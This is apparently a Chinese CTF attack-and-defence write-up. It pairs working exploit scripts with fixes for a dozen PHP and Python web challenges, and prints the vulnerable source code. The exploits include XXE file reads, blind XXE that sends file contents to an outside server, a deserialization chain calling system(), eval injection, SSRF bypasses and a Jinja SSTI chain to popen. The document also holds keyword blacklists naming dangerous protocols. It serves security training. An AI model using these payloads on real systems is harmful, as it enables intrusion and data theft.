掃描發現 /html.zip
<html xmlns="http://www.w3.org/1999/xhtml">
<!--This set of source code is made by MS. -->
<!--Date 2018.12.13-->
<head>
<meta http-equiv=Content-Type content="text/html;charset=utf-8">
<meta name="description" content="Test">
<meta name="author" content="MRYE+">
<title>电脑信息查询 - 网络安全工作室</title>
<link rel="stylesheet" type="text/css" href="./css/ctf.css" />
</style>
</head>
<body>
<div class="container">
<divid="search">
<labelfor="search">输入以1、2、3显示电脑信息</label>
<formid="myForm" action="" method="post">
<inputtype="text" id="ms" name="ms"maxlength="1">
<inputclass="button" type="submit" value="Search">
</form>
<?php
//禁用错误报告
error_reporting(0);
header("Content-Type: text/html;charset=utf-8");
require_once './suxinctf.php';
if(isset($_POST["ms"]))
{
$ID = $_POST["ms"];
#echo $ID;
$query = "select * from goods where id='{$ID}'";//构建查询语句
$result = mysql_query($query);//执行查询
if (!$result) {
die("could not to the database\n" . mysql_error());
}
if (mysql_numrows($result)<=0) {
echo"<script type='text/javascript'>alert('都说了让你输入1~3你咋还那么调皮!');location.href='index.php'</script>";
}else{
while($result_row=mysql_fetch_row(($result)))//取出结果并显示
{
$ms=$result_row[0];
$gname=$result_row[1];
$gprice=$result_row[2];
$gnum=$result_row[3];
echo"<font color='red'>电脑编号为:".$ms." </font> ";;
echo"<font color='red'>电脑系统为:".$gname." </font>";
echo"<font color='red'>电脑价格为:".$gprice." </font>";
echo"<font color='red'>电脑数量为:".$gnum." </font>";
}
}
}
$query = "select * from goods ";//构建查询语句
$result = mysql_query($query);//执行查询
if (!$result) {
die("could not to the database\n" . mysql_error());
}
if (mysql_numrows($result)<=0) {
echo"<script type='text/javascript'>alert('都说了让你输入1~3你咋还那么调皮!');location.href='index.php'</script>";
}else{
while($result_row=mysql_fetch_row(($result)))//取出结果并显示
{
$ms=$result_row[0];
$gname=$result_row[1];
}
mysql_close($connection);//关闭连接
}
?>
</div>
</div>
</body>
</html>
給 ms 參數加上 intval ,將傳入的ID參數轉為int類型即可
攻擊
給出源碼,發現使用了DirectoryIterator,可以利用glob協議來逐字fuzz文件名字
<?php
error_reporting(E_ALL);
ini_set('display_errors','1');
#important php in path:/var/www/html and php File names have 16 characters
if (isset($_GET['path']))
{
$Input_data = $_GET['path'];
$it=new DirectoryIterator($Input_data);
foreach($it as $f)
{
$path=$f->getFilename();
if(file_exists($path))
{
echo"yes,it exists";
}
else
{
echo"too naive!";
}
}
}
else
{
highlight_file(__file__);
}
?>
使用以下exp可以獲取到
import string
import requests
url = "http://210.3.214.150:52003/"
def is_file(p):
param = {"path": p}
r = requests.get(url, params=param)
if'yes,it exists' in r.text:
returnTrue
returnFalse
ans = "glob:///var/www/html/"
for i in range(18):
for j in string.printable:
if is_file(ans + j + "*"):
ans = ans + j
print(ans)
break
獲得 d80054c739859dfe.php
防禦
-
index.php 过滤path中存在glob關鍵字則禁止
-
d80054c739859dfe.php把cmd長度限制12,修改為3,發現可以修復成功
攻擊
黑名單上傳過濾繞過,使用.htaccess 配置
-
先上傳一個任意擴展名的文件
再傳.htaccess ,將目錄下所有的文件都解析為php進行處理
防禦
從黑名單機制改為百名單機制,嚴格過濾,只允許圖片上傳
攻击
上傳過濾內容 <?php,但是php支持<?=標籤,使用<?=繞過即可
防禦
將內容過濾<?php改為 <? 即可
攻擊
利用數組計算md5結果為空繞過
修復
判斷md5把 \=\= 改為 \=\=\= 在第三行if加一個條件 && is\_string(\$\_GET['a'])
攻擊
通過目錄掃描發現admin.php
爆破出密碼admin/admin123
head沒過濾,執行命令有過濾,不過head命令沒過濾,直接讀取
修復
(head -999 admin.php)看源碼,然後改為如下:
攻擊
目錄掃描,html.zip可以獲得源碼
register.php
<?php
include "utils/function.php";
$config = include "utils/config.php";
$user_xml_format = "<?xml version='1.0'?>
<userinfo>
<user>
<username>%s</username>
<password>%s</password>
</user>
</userinfo>";
extract($_REQUEST);
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!preg_match('/^[a-zA-Z0-9_]+$/', $username)) die("Invalid username. :(");
if(is_user_exists($username, $config["user_info_dir"])) die("User already exists XD");
$user_xml = sprintf($user_xml_format, $username, $password);
register_user($username, $config['user_info_dir'], $user_xml);
可以變量覆蓋user_xml_format進行XXE攻擊,但是此處不回顯。再看login.php
<?php
include "utils/function.php";
$config = include "utils/config.php";
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
if(empty($username)||empty($password)) die("Username or password cannot be empty XD");
if(!is_user_exists($username, $config["user_info_dir"])) die("Username error");
$user_record = get_user_record($username, $config['user_info_dir']);
if($user_record->user->password != $password) die("Password error for User:".$user_record->user->username);
header("Location:main.html");
用戶名會在輸入密碼錯誤時回顯,exp
import requests
url = "http://210.3.214.150:53585/register.php?username=000&password=121"
def xmlinj(xml):
print(requests.post(url, data={"user_xml_format": xml}).text)
payload = '''<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<userinfo>
<user>
<username>&xxe;</username>
<password>777</password>
</user>
</userinfo>'''
xmlinj(payload)
使用000用戶和錯誤密碼登錄時顯示flag
修復
extract($_REQUEST); 放到user_xml_format賦值之前,或者username password使用
$username = $_REQUEST['username'];
$password = $_REQUEST['password'];
進行接收並去除extract($_REQUEST);
攻擊
反序列化漏洞,使用以下exp構造鏈子即可
<?php
class hahaha
{
public $cmd;
public $content;
publicfunction __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
publicfunction __call($name, $arguments)
{
call_user_func($this->cmd, $this->content);
}
}
class Nevv
{
public $happiness;
publicfunction __invoke()
{
return$this->happiness->check();
}
}
class Rabbit
{
public $aspiration;
publicfunction __set($name, $val)
{
echo'__set';
return$this->aspiration->family;
}
}
class Year
{
public $key;
public $rabbit;
publicfunction __construct($key)
{
$this->key = $key;
}
publicfunction firecrackers()
{
return$this->rabbit->wish = "allkill QAQ";
}
publicfunction __get($name)
{
$name = $this->rabbit;
$name();
}
publicfunction __destruct()
{
if ($this->key == "come on") {
$this->firecrackers();
} else {
print ("Welcome 2025!!!!!");
}
}
}
$hh = new hahaha('system', 'cat /flag');
$nn = new Nevv();
$nn -> happiness = $hh;
$yeah = new Year("come on");
$yeah -> rabbit = $nn;
$n = new Rabbit();
$n->aspiration = $yeah;
$yeah1 = new Year("come on");
$yeah1 -> rabbit = $n;
echo urlencode(serialize($yeah1));
?>
防禦
去掉序列化入口unserialize()
攻擊
沒有回顯的XXE,使用http外帶
<!ENTITY % aaaa SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
<!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://vps IP:8188/?file=%aaaa;'>">
%demo;
python3 -m http.server 8188
import requests
url = "http://210.3.214.150:57272/"
def xmlinj(xml):
print(requests.post(url, data={"xml": xml, "submit": "提交"}).text)
payload = '''<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ANY [
<!ENTITY % xd SYSTEM "httP://VPS IP:8188/test.dtd">
%xd;
]>
<root>&bbbb;</root>'''
xmlinj(payload)
在http訪問日誌中看到flag
防禦
把 system加到黑名單
<?php
header("Content-Type: text/html;charset=utf-8");
header("Hint: XXE");
$html = '';
if (isset($_POST['submit']) && $_POST['xml'] !== null) {
$xml = $_POST['xml'];
$forbidden_protocols = ['SYSTEM', 'system', 'file://', 'http://', 'https://', 'ftp://', 'gopher://', 'dict://'];
$has_forbidden_protocol = false;
foreach ($forbidden_protocols as $protocol) {
if (strpos($xml, $protocol) !== false) {
$has_forbidden_protocol = true;
break;
}
}
if ($has_forbidden_protocol) {
$html .= "<p>不允许使用该协议!</p>";
} else {
$data = @simplexml_load_string($xml, 'SimpleXMLElement', LIBXML_NOENT);
if ($data) {
$html .= "<pre>{$data}</pre>";
} else {
$html .= "<p>尽情的注入吧</p>";
}
}
}
?>
<form method="post">
<p>请输入查询 ID:</p>
<input type="text" name="xml" />
<input type="submit" name="submit" value="提交">
</form>
<?phpecho $html; ?>
攻擊
過濾了一些內容,簡單繞過即可
import base64
import requests
url = "http://210.3.214.150:59434/?crack=flag"
flag = base64.b64encode("/flag".encode()).decode("ascii")
data = {"hk": f"readfile(base64_decode('{flag}'));", "flag": "///////Give_me_flag"}
print(requests.post(url, data=data).text)
防禦
刪除代碼執行部分或者修改接收代碼的參數名即可
sed -i 's/hk/kh/g' /var/www/html/index.php
攻擊
存在代碼注入,使用以下payload完成攻擊
/index.php?file=eason.jpg'.system('cat /flag').'
防禦
把參數裡面的單引號去掉
<?php
echo "<h2>Tips: eval & echo = ?</h2>";
$hostHeader = $_SERVER['HTTP_HOST'];
list($hostname, $port) = explode(':', $hostHeader);
$image = isset($_GET["file"]) ? "./images/" . $_GET["file"] : "";
if ($image == "") {
header("Location: " . "http://$hostname:$port" . "/index.php?file=eason.jpg");
}
$image = str_replace("'", "", $image);
$file = "echo '<img src=\"" . $image . "\" width=200px height=auto>';";
if (in_array(strtolower($image), array("cat", " ", "flag", "docker", "shell_exec", "exec", "popen"))) {
exit("Hacker!!!");
}
eval ($file);
?>
攻擊
存在SSRF,但是有過濾,使用url編碼繞過
GET /index.php?url=file:///fla%2567 HTTP/1.1
Host: 210.3.214.150:59701
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
防禦
過濾前解碼URL
<?php
$url = isset($_GET["url"]) ? urldecode($_GET["url"]) : "";
if ($url == "") {
header("location: index.php?url=http://www.baidu.com");
}
$black_list = ["gopher" , "localhost", "0.0.0.0", "file", "flag", "../", "127.", "192.", "168.", "172.", "10."];
foreach ($black_list as $keyword) {
if (strpos($url, $keyword) !== false) {
exit("hacker!");
}
}
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_URL, $url);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($curlobj);
echo $result;
?>
攻擊
存在目錄穿越漏洞
修復
加入判斷,存在..則阻止運行
攻擊
利用config存儲對象來繞過長度限制,利用字符串拼接繞過字符串長度限制,依次運行以下payload即可執行命令
import requests
url = "http://210.3.214.150:44439/login"
payload = '''{%set x=config.update(a=config.update)%}'''
payload = '''{%set x=config.a(b=''.__class__)%}'''
payload = '''{%set x=config.a(c=config.b.__mro__[1])%}'''
payload = '''{%set x=config.a(d=config.c.__subclasses__())%}'''
payload = '''{%set x=config.a(e=config.d[137])%}'''
payload = '''{%set x=config.a(f=config.e.__init__)%}'''
payload = '''{%set x=config.a(p='__glob'+'als__')%}'''
payload = '''{%set x=config.a(g=config.f|attr(config.p))%}'''
payload = '''{%set x=config.a(h=config.g['pop'+'en'])%}'''
payload = '''{{config.h("ps -ef").read()}}'''
print(requests.post(url, data={"username": payload}).text)
防禦
在黑名單列表中加入 { 符號,完全禁止ssti
攻擊
外賣系統使用test/123456可以登錄後台,在日誌下載處存在任意文件下載漏洞,但是過濾了proc,沒法直接獲取jar位置,使用後台各種功能功能後發現日誌中有報錯信息,jar文件位置被報錯信息洩露,然後讀取既可獲取jar包。
修復
在過濾中增加 .. 即可防止任意文件讀取,然後發現修復成功

